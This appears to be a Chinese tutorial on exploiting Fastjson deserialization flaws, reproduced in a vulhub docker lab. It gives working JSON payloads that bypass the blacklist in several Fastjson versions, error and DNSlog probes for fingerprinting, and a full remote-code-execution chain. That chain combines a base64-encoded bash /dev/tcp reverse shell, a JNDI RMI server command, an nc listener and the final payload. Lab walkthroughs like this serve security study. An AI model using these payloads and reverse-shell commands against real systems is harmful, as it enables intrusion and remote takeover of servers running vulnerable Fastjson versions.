文章目录
- Fastjson简介
 - 历史漏洞
 - Fastjson < 1.2.41
 - Fastjson < 1.2.42
 - Fastjson < 1.2.47
 - Fastjson < 1.2.66
 
- 漏洞发现
 - Fastjson寻找
 - Fastjson报错识别
 - 漏洞检测
 
- 漏洞复现
 - Fastjson1.2.47反序列化漏洞
 - 影响版本
 - 实验环境
 - JNDI
 - JNDI注入 + RMI
 - JNDI注入 + RMI 利用
 
Fastjson简介
Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串,Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。
历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
Fastjson < 1.2.41
第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了 autoTypeSupport 属性默认为false,并且增加了 checkAutoType() 函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。
com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来
那么就可以构造如下exp
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true}
 
Fastjson < 1.2.42
阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单检验的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组L和;,构造exp如下,即双写L和;
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}
 
Fastjson < 1.2.47
在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用 java.lang.Class 把获取到的类缓存到 mapping 中,然后直接从缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕过黑名单
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
"b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":
"rmi://ip:9999/exp", "autoCommit": true }}
 
Fastjson < 1.2.66
基于黑名单绕过, autoTypeSupport 属性为true才能使用,在1.2.25版本之后 autoTypeSupport 默认为false
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}
 
漏洞发现
Fastjson寻找
Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方 就有可能使用了Fastjson,通过burp抓包Content-Type是否为application/json,如果是则大概率使用了fastjson
Fastjson报错识别
{
  "name":"1"
 
使用burp suite抓包 - 发送到 Repeater - 在Request模块右键选择"Change request method"(更改http请求)- 将Content-type的属性改为application/json ,通过构建错误的json格式,Response返回信息中会有fastjson的信息泄露


也可以使用如下json爆出fastjson的版本信息
[
{
  "a":"a\x] {"@type":"java.lang.AutoCloseable"a
 

漏洞检测
原理:java.net.InetAddress这个类在实例化时会尝试做对example.com做域名解析,这时候可以通过dnslog的方式得知漏洞是否存在
{
   "name:{   
     "@type":"java.net.InetAddress", "val":"vbaahm8fqzypvpitqmsvarcngem4at.burpcollaborator.net"
   }
}
 



可以看到DNS对该域名进行解析,可以判断fastjson漏洞的存在。
漏洞复现
Fastjson1.2.47反序列化漏洞
影响版本
Fastjson1.2.47以及之前的版本
实验环境
docker搭建使用vulhub靶场
docker-compose up -d
 

访问靶场地址即可搭建成功

JNDI
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
可以访问以下命名/目录服务:
 RMI (JAVA远程方法调用)
 LDAP (轻量级目录访问协议)
 CORBA (公共对象请求代理体系结构)
 DNS (域名服务)
JNDI注入 + RMI
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口,它使客户机上运行的程序可以调用远程服务器上的对象。
JNDI注入 + RMI 利用
下载利用工具
JNDI服务利用工具,fastjson&log4j
反弹shell
将bash -i >& /dev/tcp/攻击机ip/6666 0>&1进行base64编码

bash -i >& /dev/tcp/192.168.88.128/9999 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
 
反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在bash环境下才能用。而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符、输入输出重定向等。因此需要bash64编码一下。 
利用工具启动RMI server
java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888 “要执行的命令”
java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888  "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
 

新打开窗口监听端口
nc -lnvp 9999
 

构造pyload进行攻击
{
   "a":{
       "@type":"java.lang.Class",
       "val":"com.sun.rowset.JdbcRowSetImpl"
   },
   "b":{
       "@type":"com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName":"rmi://攻击机ip:8888/Object",
       "autoCommit":true
   }
}
 

返回监听端口,反弹shell成功



















